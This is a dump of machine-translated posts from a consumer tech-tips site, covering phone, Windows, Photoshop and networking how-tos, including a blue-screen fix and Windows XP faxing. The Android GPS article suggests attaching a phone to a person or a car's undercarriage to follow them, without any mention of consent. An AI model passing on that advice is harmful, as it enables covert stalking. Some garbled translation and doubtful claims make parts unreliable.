succesful.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyaZKWhppp6tq7Up6uuZZyeu7bEjK6qmw%3D%3D\n","link":"/post/how-to-create-a-live-ubuntu-linux-usb/","section":"post","tags":null,"title":"How to create a Live Ubuntu Linux USB"},{"body":"Creating additional effects for photos always adds art, as well as creating newcomings that attract viewers. With Photoshop image editing software, we can use a lot of effects creation tools such as creating color effects on Photoshop, lightning effects on Photoshop, or creating water movement effects.\nMotion whirlpool effect can be used in many different situations, such as with a glass of water. Instead of leaving the image with a static water surface, we can create round swirls that look like motion. The following article will guide you how to create circular whirlpools in Photoshop.\nHow to use Photoshop CS5 - Part 12: Create Light and Glow effects How to use Photoshop CS5 - Part 13: Create a reflection effect from the water How to use Photoshop CS5 - Part 14: Create motion effects Tutorial to create Photoshop whirlpool effect Step 1:\nClick File and select Open to open the saved image in the computer to create the effect. Next, select the Eliptical Marquee Tool to create a selection on the water.\n  Step 2:\nNext, the user delineates the water surface on the coffee cup.\n  Step 3:\nPress Shift + F6 key combination and the Feather Selection dialog box appears. Here the user adjusts the horizontal bar at the Feather Radius between 10-15 and then click OK.\n  Step 4:\nClick Ctrl + J to copy the selected water area to add a new layer as shown below.\n  Step 5:\nWe look at the toolbar above and click on Filter then click on Distort and select Zigzag as shown.\n  At Zigzag interface, you select the Style as Around Center to create whirlpools from the center to spread out outside. Then move 2 sliders to create a whirlpool effect at your disposal.\n  Step 6:\nThe image will then have a whirlpool effect as shown below.\n  Press Ctrl + T again and right-click and choose Distort .\n  Step 7:\nUsers align, narrow the whirlpool area, adjust the position in the middle of the cup of water accordingly. Press Enter to complete the editing.\n  Next, on the duplicated layer, adjust the opacity to create a more realistic feel for the whirlpool. Finally, click Save to save the image.\n  Your result will be a cup of coffee with a whirlpool like the picture.\n  Depending on the ability and skills of image processing, creating effects for images we can create a whirlpool effect that looks much better. The basic steps will be like above.\nSee more:\nHow to integrate images into text on Photoshop How to design a simple logo in Photoshop Instructions for designing websites in Photoshop I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYywn6KqnKW8sLiMnp2fnZOperC6jKmfqKyfqLWwvA%3D%3D\n","link":"/post/how-to-create-whirlpool-effect-on-photoshop/","section":"post","tags":null,"title":"How to create whirlpool effect on Photoshop"},{"body":"Error Bluetooth peripheral device driver not found error is quite common, usually occurs when you first connect\u0026nbsp; the computer \u0026nbsp;to a Bluetooth device such as\u0026nbsp; Bluetooth headsets ,\u0026nbsp; Bluetooth speakers . Follow the article below to find out the cause and how to fix this error!\nThe main cause of the Bluetooth peripheral device driver not found error is that your operating system is not fully updated, lacks a connection driver or has a Bluetooth driver error.\n  To fix this error you need to reinstall or update the Bluetooth Driver for the operating system.\nStep 1 : Press the Windows \u0026nbsp;+\u0026nbsp; R key combination\u0026nbsp; \u0026nbsp;to open the Run dialog box\u0026nbsp; \u0026nbsp;\u0026gt; Type\u0026nbsp; devmgmt.msc \u0026nbsp;\u0026gt;\u0026nbsp; Enter .\n  After the Device Manager window\u0026nbsp; \u0026nbsp;opens, you will see a list of\u0026nbsp; \u0026nbsp;current drivers on your computer.\n  Step 2 : Click\u0026nbsp; Other devices \u0026nbsp;to expand the list\u0026gt; Right-click\u0026nbsp; Bluetooth Peripheral Device \u0026nbsp;\u0026gt; Select\u0026nbsp; Update driver .\n  If you can't find\u0026nbsp; Other devices\u0026nbsp; or the\u0026nbsp; Bluetooth Peripheral Device\u0026nbsp; in the Other devices list\u0026nbsp; \u0026nbsp;, click\u0026nbsp; View \u0026nbsp;\u0026gt;\u0026nbsp; Show hidden devices .\n  If you have more than one Bluetooth device driver, then you need to follow the steps below for all Bluetooth devices.\nStep 3 : Select\u0026nbsp; Search automatically for updated driver software .\n ​\nWait for Windows to search the Internet for the latest drivers, if it does, it will automatically download and install it on your computer.\n  Step 4 : If the above method cannot be used, go back to\u0026nbsp; Step 2 , but instead of selecting\u0026nbsp; Search automatically for updated driver software \u0026nbsp;, choose\u0026nbsp; Browse my computer for drivers \u0026nbsp;computer .\n  Continue to select\u0026nbsp; Let me pick from a list of available drivers on my computer .\n  Step 5 : Select\u0026nbsp; Ports (COM \u0026amp; LPT) \u0026nbsp;\u0026gt; \u0026nbsp;Next.\n  Step 6 : In the Manufacturer section\u0026nbsp; , select\u0026nbsp; Microsoft\u0026nbsp; \u0026gt; Model\u0026nbsp; Item,\u0026nbsp; select\u0026nbsp; Standard Serial over Bluetooth link\u0026nbsp; \u0026gt; Click\u0026nbsp; Next .\n  Continue to select\u0026nbsp; Yes .\n  Step 7 : Wait until Windows has installed this driver, then restart your computer.\n  Above are instructions on how to fix the Bluetooth peripheral device driver not found error on Windows computer, hope this article helps you. Thanks for watching.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMRmmaWtlam8sMDHZqeeqpmltaa%2BwKVknZ2mnrCmecOroK%2BdomK7sMCMn6auppRisrO%2BzqtkqKZdrLavsM6wqg%3D%3D\n","link":"/post/how-to-fix-the-bluetooth-peripheral-device-driver-not-found-error-on-windows/","section":"post","tags":null,"title":"How to fix the Bluetooth peripheral device driver not found error on Windows"},{"body":"With Google Forms, you can easily create a real, interactive online survey that recipients can fill out directly in their email client. In this article, we'll learn how to create and embed a Google Form poll in email, ready to be sent 'all over the world'.\nCreate a poll/survey with Google Form To get started, you need to create a survey form with all the questions and corresponding answers that you have planned.\nFirst, access your Google Drive account using a web browser. At the top left of the screen, you click ' New -\u0026gt; Google Forms -\u0026gt; Blank form ' ( New -\u0026gt; Google Forms -\u0026gt; Blank form ).\n  Google will present you with a basic form to create a poll. Fill in the necessary fields, keeping in mind that you can change certain options by clicking the drop-down menu next to the question, such as if you want it to be a multiple choice question for the reader to ask. longer answer.\n  You can use the paint palette icon to change the background color of the survey as well as add a header image to increase the vibrancy and express the message you want to convey.\n  There's also a slider near the bottom that lets you set whether to allow recipients to skip the question, or if it's required. On the right, you can add images, videos, and sections (other questions) to the survey form. Meanwhile, the three-dot menu icon at the top right will let you add collaborators.\nInsert a poll from Google Form into an email Once you've done the setup steps and your survey form is ready, click the ' Send ' button on the top right to display the submission options. You can submit the form via email, link, or post on social media. If you choose to send by email, click the envelope icon and enter all the email addresses you want to send the form to.\nThere are two important items you need to keep in mind here: \" Collect email addresses ' at the top and \" Include form in email \".\n  If you check the ' Collect email addresses ' box, the recipient will be asked to provide their email address before filling out the form. Of course, you may want this data, but at the same time it also makes many people feel their privacy is affected and refuse to participate in the survey.\nMeanwhile, the ' Include form in email ' section is extremely useful, allowing the form to be embedded in the email instead of having the recipient click through to view the survey (which they may also be reluctant to do). We recommend that you check this section.\nOnce that's set up, click the ' Send ' button . You'll be able to track responses to your form in the Responses header on the poll's main page (stored in your Google Drive).\nGoogle Form ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqLKzwIyaZKmnnKF6p77OpmSgp5%2BcuaZ5xaippmWZo8GwecCnZJ6lkZ65\n","link":"/post/how-to-insert-a-poll-from-google-form-into-an-email/","section":"post","tags":null,"title":"How to insert a poll from Google Form into an email"},{"body":"If you are chatting with friends with iMessage and realizing that the Internet is losing your patience, you will want to immediately switch to a text message and send it. Fortunately, iOS features, although slightly hidden, you can still send text messages instead of iMessage with just a few simple steps.\niMessage is the first choice of users when they need to send free messages on iDevice. However, there are times when you will want to send text messages instead of iMessage. For example, when the Internet connection is too poor to send a message or when you want the recipient to immediately read the message when they are offline.\niOS provides the option to transfer iMessage not yet sent into SMS. So, if you notice the message iMessage has not been sent to friends, you can optionally send it as SMS without having to retype the message. Let TipsMake.com show you how to do it\nHow to send text messages instead of iMessage messages on iPhone Note: If your friend doesn't use iDevice like an iPhone or iPad, the message will only be sent as a text message. At that point, you just need to make sure that the Send as SMS option is turned on.\nWhile accessing Settings / Settings \u0026gt; Messages / Messages \u0026gt; then turn on the switch next to Send as SMS / Send as SMS .\n  If your iPhone is connected to the Internet and they work well, your messages will automatically be sent as iMessage to friends using iDevice. Therefore, only in case your phone does not have an Internet connection or Internet connection does not work, can you switch from iMessage to text message.\nHowever, if your Internet connection still works quite well on the device but you still want to send the message as an SMS, turn off Wi-Fi on your iPhone or Mobile Data.\nStep 1. Open the Messages application on your iOS device and open any chat.\nStep 2. Now, enter the message and press the submit button.\nStep 3. Next, touch and hold the message you just sent.\n  Step 4. Next, touch Send as Text Message / Send as a text message in the menu. That's it, the message will be sent as SMS and the message will turn green.\n  Note: iMessage messages will be in blue and regular text messages will be in green.\nSee more:\niMessage does not receive, send messages, this is a fix How to use iMessage on a Windows computer? How to style messages for iMessage iOS 10 ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVo7FuwMSxq2allajAorPErGSipqOpsqKwjKidZqGdmsC0rcaeZKado6iuqLHSZqanZZmltbC6xGamq2WZpa6l\n","link":"/post/how-to-send-text-messages-instead-of-imessage-messages-on-iphone-or-ipad/","section":"post","tags":null,"title":"How to send text messages instead of iMessage messages on iPhone or iPad"},{"body":"CarPlay allows your iPhone to display maps, directions, messages, Siri, calls, music on a compatible car screen, making it easy for users to access iPhone features. safe while driving.\nCarPlay features supported on some vehicles with new models. Before proceeding to activate CarPlay, make sure your iPhone device is using iPhone 5, new iOS version, and your car or Stereo supports CarPlay.\n  Set up CarPlay on iPhone You can set CarPlay via USB or via Bluetooth, or you can activate Siri on your iPhone phone if this feature is available:\n1. Open the control panel on your car.\n2. Open the Settings / Settings app on your iPhone, then go to General / General =\u0026gt; CarPlay .\n   3. Now you have 2 options to set up CarPlay: via Bluetooth or via USB.\n  - Via Bluetooth: Select Bluetooth, then press and hold the Voice Control, Siri button and CarPlay button on Steering wheel to start the CarPlay setup process.\n- Via USB: connect your iPhone device to the car USB port to set up CarPlay.\n4. After CarPlay has been discovered, your task is to select from the Available cars list and immediately on the dashboard will display CarPlay.\n  5. Confirm CarPlay is active by calling Siri, using Voice Control button on Steering wheel or touching CarPlay screen.\nCarPlay has been set up, you can interact with it just like you interact with your iPhone phone.\n        Currently, a number of quite popular carmakers like Toyota and Lexus have also been equipped with this feature. Hopefully with the above setup guide, you can use iPhone on cars more easily.\nRefer to some of the following articles:\nHow to accurately distinguish iPhone 6 or iPhone 6s? Trick to delete junk files to free up space and cache iPhone, iPad All ways to download and install applications and games for iPhone and iPad Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIycmKuonJbGbsDOZpqopp6asLV5yKmfqKaVYsGwecKaqQ%3D%3D\n","link":"/post/how-to-set-up-carplay-to-connect-iphone-to-car/","section":"post","tags":null,"title":"How to set up CarPlay to connect iPhone to car"},{"body":"GPS is great for restoring lost or stolen devices and navigating while driving with Google Maps. It is especially convenient because GPS works even when the Internet is disconnected. Just download your map before that is okay!\nBut how to use Android phone as a GPS tracking device? This may not be the most reliable option and comes with some minor drawbacks, but it can still complete the job. Here's how to turn your Android device into a GPS tracking device.\nNote : These instructions are based on Samsung Galaxy S8 running Android 8.0 Oreo, but the necessary steps will be relatively similar to most Android devices.\nHow to track GPS using Android phones? Follow up with original Android features How to enable the Find My Device feature on Android How to use the Find My Device feature on Android  Follow up with third party Android apps Mount Android device to track Nothing can defeat a dedicated GPS tracker Follow up with original Android features Most Android devices released from 2014 onwards have an integrated feature called Find My Device . This service continually brings the device's location back to Google servers, letting Google know where your device is. Then, you can use Google's web interface to see where your device is at any time. You will need a Google account to use this feature.\nHow to enable the Find My Device feature on Android 1. Navigate to the Settings section of the device.\n2. Click Lock screen and security .\n3. Click Other security settings . (This step may not be necessary depending on your specific device and Android version).\n4. Click Device admin apps . (This step can be called Device Administrators , depending on your specific device and Android version).\n5. Click Find My Device .\n6. Click Activate.\nNote : To activate this service, you will need to allow 4 permissions:\nOne is the ability to delete all data ( Erase all data ). The second is the ability to change your screen unlock password ( Change screen unlock password ). The third is the ability to lock the screen ( Lock the screen ). And four is the ability to turn off functions on the lock screen ( Turn off functions on the lock screen ). The interesting thing about Find My Device is that it is not only a tracker but also allows you to remotely control devices in the ways mentioned above.\nHow to use the Find My Device feature on Android     Once activated, all you have to do is launch the web browser, navigate to the Find My Device control panel and log in to your Google account (the same account associated with the device).\nWhen you log in, select the device you want to locate, click the Locate button for the device you have said. It will show the closest known location and the last detected distance. According to the experience of many users, the application's ability to determine is relatively accurate.\nFollow up with third party Android apps If you don't like Find My Device for any reason, you can always use one of the many third-party alternatives available on Google Play Store. These applications are easy to install and you don't really have to do anything, in addition to creating an account to use them.\nThere are two options that the article recommends:\n1. Lookout: Lookout is an 'all in one' security solution, in which tracking the device is just one of its many features. Therefore, choosing Lookout may be a bit overkill, if device tracking is the only feature you care about. But if your device lacks a good antivirus application, you can also use Lookout with the motto 'an arrow hits two targets.\n2. Prey: During the actual use, Prey is very similar to Find My Device. A big advantage of Prey is its availability on many other platforms, including Windows, Mac, Linux and iPhone, so you can keep track of all your devices from anywhere.\nMost of these applications are marketed as anti-theft security and theft protection software for Android. They are definitely useful for those purposes, but you can also use them to track GPS, if you want.\nRefer to the article: Find friends via GPS with these 7 free Android apps.\nMount Android device to track When your device is set up to be able to track, whether you use Find My Device or a third-party application, the only thing left to do is to attach the device to the person or object you want to follow. . But obviously, it's easier said than done.\nWould you like to know how to track a car by mobile phone?\nThe most easy and effective option is to use a magnetic car mount. Most two-part kits come with a magnetic insert (something you put inside your device's cladding) and a magnetic base (magnetic base, which you attach to any object you want). follow). Magnetic force must be strong enough for your phone to be firmly attached to the base.\n  WizGear Universal Stick-On Magnetic Car Mount\nReference price: $ 11.99 (279,000VND)\nThe Stick-On Magnetic Car Mount WizGear Universal product is convenient and affordable. It uses adhesives and contains 10 magnets for maximum magnetic strength.\nWizGear Universal Suction Magnetic Car Mount Cup\nReference price: $ 14.99 (VND 349,000)\nIf you find that the use of adhesives is not sure, you can consider WizGear Universal Suction Magnetic Car Mount Cup. This product has very strong suction pins, ensuring you can hold your device firmly.\nPop-Tech Universal Mount Mount\nReference price: $ 4.99 (116,000 VND)\nWhat if you don't have a phone panel? Instead, you can use adhesive metal plates, such as Pop-Tech Universal Adhesive Metal Mounts. They stick right to the back of the device and allow you to use the rack as usual.\nNothing can defeat a dedicated GPS tracker Although your Android device can act as a tracker, don't expect it to beat a dedicated tracking device. There are three main drawbacks that you should keep in mind and if any of these are true for you, you should consider using an alternate dedicated monitor:\n1. Battery life : Your smartphone always has a lot of software running in the background, such as system-level services, third-party applications and all those processes will exhaust the battery. A dedicated GPS tracker only needs to handle GPS tracking, resulting in a longer battery life for each charge.\n2. Signal quality : The GPS navigation device is not perfect, but their signal is far superior to the smartphone signal. Thus, dedicated GPS trackers are not only more accurate, but they can continue to be monitored even in areas where smartphones often do not work.\n3. Risks and costs : Are you ready to lose your Android device? What if you attached it to the undercarriage and it fell off the highway? The dedicated GPS tracker is easier to install, stronger and even if they are lost or damaged, the replacement will not cost you too much money.\nIn other words, don't convert your Android phone into a GPS tracker, unless there's no other option. For a more reliable and accurate alternative, consider trying a product, such as Spy Tec Portable GPS Tracker.\nWish you find the right choice!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnqiusOrpqKcXaW1sLrErGSaq12cvbR506uYnKOZo7RusMSvoJydow%3D%3D\n","link":"/post/how-to-use-android-phones-as-gps-tracking-devices/","section":"post","tags":null,"title":"How to use Android phones as GPS tracking devices"},{"body":"For more convenience at work, many people choose a note-taking application to be able to track jobs more quickly and conveniently. The previous note applications usually only stop at the basic feature that is creating notes, editing notes, . However, with the continuous development of technology, the application notes today. has more features.\nNote - Note, Notepad \u0026amp; Memo is a note-taking application on Android, with many useful features besides creating notes. You can insert data into notes like images and then manage these notes on Gmail. In particular, when a user registers an account on the application, all notes will be synchronized on multiple devices. The following article will guide you how to create notes on GNotes - Note, Notepad \u0026amp; Memo Android.\nStep 1:\nGo to the link below to download the GNotes - Note app to your device.\nDownload the GNotes - Note Android app Step 2:\nTo use the application we will not need to register an account, but if you want to sync notes and manage multiple devices, you need to register an account. Click Sign in to register your account, or click the plus icon to create notes.\nNext click Sign up to register an account with email address and password.\n    In case users want to manage notes from Gmail , click Sync with Gmail . Then click Google Authorize to confirm the connection. You will select the Gmail account that is logged on the device to initiate the connection.\nWhen connecting successfully and accessing Gmail, check the note you click on the Notes under Inbox to view.\n    Step 3:\nOnce you have successfully created an account, click the blue plus icon to create a new note. At the content entry interface, below will have the function buttons, including creating notes list, adding the current time, adding contacts, expanding the screen interface.\n   Step 4:\nWhen clicking on the paper clip icon , users will have more options for notes, including Photo, Recorder, Handwrite, Graffiti, Attach.\n  Photo to insert existing photos into notes . To take a new photo press the camera icon. The user will select the image to be inserted in the library. To delete the inserted photo click on the image and press the trash can icon again . Then press Delete to confirm deleting the picture in the note.\n   Recorder will proceed to record on notes and save to device. You need to agree to the application be allowed to record, then the recording process will take place. Press the circle button icon to stop recording and will receive a notification of completed recording.\n   We can click on the audio file to choose to save the device or delete the audio recording.\n   Graffiti to draw and insert images into notes and images saved in notes as PNG files. Press the traces to save the drawing to the note.\n   Attached to help users choose attachments to notes including audio, video or other formats. If in the format supported by GNotes - Note application, you can see it right away in the note.\n   Step 5:\nAlso at the note interface when clicking on the three vertical dots icon , users will have some additional functions including Tags (subject tagging), Reminder (creating reminder message - charging feature), Text ( display notes without list check boxes), Send (share notes), .\n   Step 6:\nWhen creating the note, return to the All interface. We click on the 3 dashes icon , then select Manager Notebooks from the list. This will put the note in the notebook for easy management.\n   Next, click the plus icon in the top right corner, then enter a name for the notebook . 2 features Lock lock notes and Set as default as default notebook for notes will charge. Click the arrow in the top left corner to return.\n   Step 7:\nTo put a note in the notebook you just created , press and hold on the note, select the book icon and tick the notebook to move the note to the list.\n   Step 8:\nSwipe the screen from left to right and select Settings . In the Settings interface, click Sync Options and then select Wi-Fi only to proceed to sync via WiFi. Automatic sync option will be charged.\n   Click on Image size to select the level of sync allowed. The free GNotes - Note version will only sync photos up to 100KB in size .\n   Step 9:\nAlso at the Settings interface click on Import \u0026amp; Export to extract the attached data in the notes to the device, the password to recover. Click Export Now to extract the entire note.\n   Depending on the amount of notes created, the process of extracting to the device is fast or slow. The Export Success notification interface appears successfully, click OK to close the notification interface. The extracted file will be saved in the device 's Gnotes_Backup folder .\n   Step 10:\nTo restore the note , also open the Import \u0026amp; Export section and select the note you want to restore , click Import below. The application will need user verification, click OK to restore.\n   In general, the GNotes - Note note application on Android has a basic note-taking feature, along with many other attractive options, such as inserting images, data or drawings for notes. Besides, you can proceed to extract and restore notes from data on the phone.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmnqenpJrAbrrOrZysZZGlvW66zq2cZqafqbKxrcNmZJqmlGJ6rrHMqGSappSnvKqw\n","link":"/post/how-to-use-the-gnotes-notes-app/","section":"post","tags":null,"title":"How to use the GNotes notes app"},{"body":"When Meltdown and Specter vulnerabilities appeared in Intel, AMD and ARM chips, Microsoft released a lot of updates on PC and Mobile. However, these updates make Windows 7/10 blue, unable to boot.\nAs follows:\nSome devices using AMD chips cannot install the Windows 7 patch - KB4056894, and cause a blue screen error (BSOD): 0x000000c4, not able to fix it.\n  For Windows 10 devices with AMD Athlon 64 X2 chips also affected, but Microsoft has not admitted this error.\nDue to updating the patch, when a blue screen error on Windows 7 will not have a way to fix so users should not proceed with the update. Other chips are also affected, not just AMD Athlon 64 X2 chips.\nIf you have updated and experienced a blue screen, follow the instructions below:\nFirst, restart the device . In this process, press F8 -\u0026gt; In the new window that appears Repair Repair Computer .\nOpen the Command prompt and enter the code below:\nOrder 1: dir d:\nCommand 2: dism / image: d: / remove-package /packagename:Package_for_RollupFix~31bf3856ad364e35~amd64~~7601.24002.1.4 / norestart\nIf you have updated Windows 7 - KB4056894 but have not restarted the computer, follow these steps to remove the update and not get errors.\nGo to Control Panel -\u0026gt; Select Programs and Features -\u0026gt; Select View Installed Updates . Here, you click on the update with KB4056894 number and select Uninstall .\nError 0x800f0845, Windows 10 stuck on Windows logo screen will appear on Windows 10 devices using AMD chip updated KB4056892 patch. In addition, the patch caused some other problems related to VPN, and caused a 100% full disk phenomenon. Therefore, AMD advises users to ignore all patches sent from Microsoft to avoid the risk of chip errors and should stop updating for Windows 7 / 8.1 / 10.\nSee more:\nMicrosoft's patch of Meltdown and Specter makes Windows Phone unstable, causing a blue screen error on the PC How to fix blue screen error 0x7B INACCESSIBLE_BOOT_DEVICE after updating on Windows 10 5 most common Windows errors and this is a fix ncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnFoq9mmpyqsm6%2FwqucnqZdmr%2Bzu9FmmpqmnqTBbr%2FTmqmtZaedsq95yKeqrZmcobavs4ymoJyqn6i8p8CMqZitm5iawA%3D%3D\n","link":"/post/instructions-on-how-to-fix-blue-screen-error-cannot-start-when-installing-microsoft-patches/","section":"post","tags":null,"title":"Instructions on how to fix blue screen error, cannot start when installing Microsoft patches"},{"body":"In the past, in the 1980s, the need to use the network exploded in the world in terms of the number and size of the network. But each network is designed and developed by a different manufacturer of hardware and software, which leads to the situation that networks are not compatible with each other and that networks from different manufacturers are not able to contact. together. To address this issue, ISO - International Organization for Standardization studied various network models and in 1984 launched the OSI repository model to help different manufacturers rely on it. export devices (hardware and software) that can communicate and work together. ISO is rolled out to a 7-layer model (layers,) for the network, called the OSI (Open System Interconnection Reference Model) repository model. • Layer 1: The Physical (Physical layer) layer This class has issued technical standards for electricity, c, functions to form and maintain physical connection in the system. The specific characteristics of this class are: voltage level, voltage level transfer time, physical transfer rate, maximum distance, connections . The essence of this layer is the connection Network elements into a system with physical connections, at this level, there are procedures to enable the operational requirements to create physical transmission lines for information bit chains. • Layer 2: Data link Layer (Data Link Layer) Data connection layer provides data transfer capability through a physical connection. This class provides information about: physical address, network structure, method of accessing physical connections, error messages and traffic management on the network. • Level 3: Network Layer (Network Layer) The network layer that provides connectivity and the choice of path between two workstations can be located on two different networks. In the network layer data packets can be transmitted in different ways to reach the destination. Therefore, at this level it is not possible to show which path the data can go and which path is prohibited at that time. • Level 4: The Transport Layer (Transport Layer) The Transport layer splits data from the transmitting station and restores it to the original data at the receiving station and determines how the network handles the errors that arise when transmitting data. . This layer receives information from the contact layer, dividing them into small data points and passing them to the network layer. It is responsible for measuring the reliability of communication between two machines, setting, maintaining and disconnecting the circuit o. • Level 5: Session (Session Layer) Session class has the task of establishing, managing, and ending a session between two machines. This class provides services for Presentation class. It synchronizes the communication process between two computers and handles data exchange. • Level 6: Presentation (Presentation Layer) Class Presentation class uses the Application layer of one machine to read exactly the information that another computer sends. It is responsible for reformat the correct data required by the application in the upper layer. Functions that compress data, encode . belong to this class. • Level 7: Application Layer (Application Layer) The application layer works directly with the user and it provides network services for user applications but does not provide services to other classes. This class establishes the ability to communicate between users, synchronize and set up error handling procedures and boast data integrity.ncG1vNJzZmismaXArq3KnmWcp51kubCvwKVkmqqVlnqvsdOwpqujXaGur3nRnp2eqpWjsKZ5zKibnqRdpMCqec%2Baqa1lmas%3D\n","link":"/post/local-area-network-lan-reference-model-osi/","section":"post","tags":null,"title":"Local area network - LAN: Reference model OSI"},{"body":"  Instructions for using a computer to perform print and scan tasks\nYou can send and receive fax documents using a computer fax / modem. If the document you want to fax is in paper, scan it first and then send the scanned image. When you receive a fax, the computer saves it as an image file that you can save and print. To prepare a computer for sending and receiving fax documents, first connect your computer modem to the phone line with a standard phone cable. Then prepare your computer.\n    Install the Fax component Fax components need to add software and activate your computer fax / modem. To install the Fax component 1. Log on to the computer as an administrator. If you are not sure if your account is an administrator, try installing the fax component. If the account does not have computer administrator privileges, you will receive a notification and the installation will be stopped. If that happens, ask someone to set up your account so that this installation can be done. 2. Click Start , and then click Control Panel .\n  3. In Control Panel , click Add or Remove Programs .\n  4. Click Add / Remove Windows Components to start the Windows Components Wizard .\n  5. In the Components list, check the Fax Services check box, and then click Next . Click Cancel if this check box is selected and you want to uninstall the Fax component.\n  6. The system will install the fax component. If you are prompted when installing, insert the Microsoft Windows XP CD, and then click OK . 7. Click Finish then Close . Switch to the next section to configure the fax service. Configure fax service To configure fax service in Windows XP 1. Go to Start \u0026gt; All Programs \u0026gt; Accessories \u0026gt; Communications \u0026gt; Fax , and then click Fax Console .\n  2. When the Fax Configuration Wizard appears, click Next .\n  3. On the Sender Information window, type in the information you want to appear on the fax's margin page. It is not necessary to fill in all the fields in it. Click Next to continue.\n  4. The Fax Configuration Wizard will display the Select Device for Sending or Receiving Faxes window . If you want to be able to receive incoming faxes, check the Enable Receive checkbox . If the phone line connects to your computer for fax use only, click Automatically answer after . If you want to manually answer incoming faxes, click Manual answer . Then click Next to continue.\n  5. On the Transmitting Subscriber Identification (TSID) window, type the information you want to use in the TSID box. Typically, this information usually includes your fax number and business name as well as your name. Then click Next .\n  6. On the Called Subscriber Identification (CSID) window, type the information in the CSID box. CSID is information that will be displayed on incoming fax numbers. This number will help confirm that you are sending the fax to the correct recipient. CSID is like TSID. Click Next .\n  7. In the Routing Options window, select whether you want to print faxes automatically. If you do not automatically print incoming faxes, they will be contained in the Fax Console. Check the Print it on checkbox if you want each fax you receive to be printed automatically. Then click Next .\n  8. On the Completing the Fax Configuration Wizard window, click Finish .\n  9. The Fax Configuration Wizard will be closed and a Windows Security Alert will appear, click Unblock .\n  Your computer is now ready for sending (optional), receiving faxes. You can use Fax Console to browse incoming and outgoing faxes, or you can do it manually. Send fax To send a fax, follow the instructions below: 1. Open the document, Web page, or email that you want to fax 2. On the File menu, click Print . 3. On the Print dialog box, under Select Printer , click Fax . Then click Print . 4. On the Welcome to the Send Fax Wizard window, click Next .\n  5. In the Recipient Information window, type the recipient's name in the To box. Type the recipient's fax number in the Fax number box. If you want to send faxes to multiple people, type the recipient information in the appropriate boxes and then click Add . The recipient will appear in the list, the boxes are cleared so you can enter additional recipient information. When you have finished adding recipients, click Next .\n  6. In the Preparing the Cover Page page window, check the Select checkbox a cover page template with the following information . Click the template you want to send in the Cover page template list . Complete the Subject line box and options, the Note box. Then click Next.\n  7. In the Schedule window click Next .\n  8. In the Completing the Send Fax Wizard window, click Finish .\n  Your computer will now automatically connect to the remote fax machine and send a fax with the cover page. If the copy requires a fax on the paper, first scan it, then fax the scanned image.\nReceive faxes automatically If you have configured the fax service in auto-receive mode, your fax / modem will answer the fax line and store the incoming fax in the Fax Console. To see the received faxes 1. Go to Start \u0026gt; All Programs \u0026gt; Accessories \u0026gt; Communications \u0026gt; Fax , and then click Fax Console .\n  2. In the Fax Console , click Inbox . The received faxes are displayed on the right window\n  \nManually receive a fax If you have configured the Fax service to receive faxes manually, the fax / modem will wait until you start the fax receiving process. Fax received is then saved to the Fax Console. To do this work 1. Go to Start \u0026gt; All Programs \u0026gt; Accessories \u0026gt; Communications \u0026gt; Fax , and then click Fax Console .\n  2. Click File , then click Receive a fax now .\n  Fax Monitor will appear and wait for the fax to arrive. When the phone rings, Fax Monitor will automatically answer, connect to the remote fax machine and receive a fax. Once the fax has been received, you can leave the Fax Monitor open so that it can automatically receive subsequent faxes, or it can be closed to perform manual fax reception.\n  ncG1vNJzZmismaXArq3KnmWcp51kwKa6w2aYZp6RrXqnvs6mZJplp567pbvWrGSxqJKWwKawjJympqilqbKz\n","link":"/post/send-a-fax-from-a-windows-xp-based-computer/","section":"post","tags":null,"title":"Send a fax from a Windows XP-based computer"},{"body":"Flowchart is not only for engineers, programmers and managers. Everyone can use them, this is a special way to streamline your work and life, and even help you get rid of bad habits.\nThe only problem is: what is the best way to create flow diagrams?\nThere are many excellent diagrammaking applications but they cost a lot. Microsoft Visio - the most popular option costs 300 USD (independent) or 13 USD per month (on Office 365). ConceptDraw Pro costs $ 200 and Edraw Max is $ 180. The question is: Is it really necessary to spend a lot of money on such a diagram tool?\nThe answer is no. There are many free options good enough, especially for non-business purposes. You can learn how to create compelling diagrams in Microsoft Word if you already have your own application or use one of the free Windows applications below.\n1. Dia Dia is a free and full featured diagram drawing application. This application is also completely open source under the GPLv2 license. This application is very powerful, expandable and easy to use.\n  If you are looking for the best free alternative to Microsoft Visio then you should choose Dia.\nKey features and highlights:\nSimple and intuitive interface. Many standard formats, including UML, circuits and databases. Add custom shapes using XML and SGV. Can create colors for shapes and text with standard or custom color palettes. Download Dia\n2. yEd Graph Editor The yEd Graph Editor is a great and constantly updated tool for flow charts, charts, tree charts, network diagrams and more. You can download the application as a JAR file (requires Java on the system) or EXE (including the Java installer). This application is very powerful and flexible, the interface is based on Swing.\n  Key features and highlights:\nEasily create professional-quality charts. Automatically arrange chart elements from messy to neat. Orthogonal and organized routing for connections. A number of export options are available, such as PNG, JP, SVG and PDF. Download yEd Graph Editor\n3. ThinkComposer ThinkComposer is a tool for professionals. In addition to flow diagrams, it can handle business models, class diagrams, genealogies, time diagrams, Use Case charts . It will take a bit of time for one or two charts but is a wise choice if you have to deal with flow charts daily or weekly.\n  Key features and highlights:\nCreate buttons and connect reusable, customizable. Deep, multi-level charts for full visual expression of ideas. Components can combine different charts and graphs. Create PDF, XPS or HTML reports based on your data. Open source and expandable with plugins. Download ThinkComposer\n4. Pencil Project Pencil Project is a disgraced old application due to long-term development disruption, but it returned in 2015 and version 3.0.0 was released in 2017. All features in Pencil Project are updated to make it more useful. This is the choice for anyone who needs a quick, simple diagram without deep research.\n  Key features and highlights:\nTons of shapes are integrated in chart types and interfaces. Create your own shape or install other people's collections. Some export options like PNG, SVG, PDF and HTML. Enter the clipart browsing tool from OpenClipart.org for use in charts and diagrams. Download Pencil Project\n5. LibreOffice Draw LibreOffice is arguably the best alternative to Microsoft Office in handling documents, spreadsheets, presentations and even graphic charts. With LibreOffice Draw, you can easily add shapes, symbols, line, connection, text, image and more. Another interesting feature of Draw is to create smart connectors to 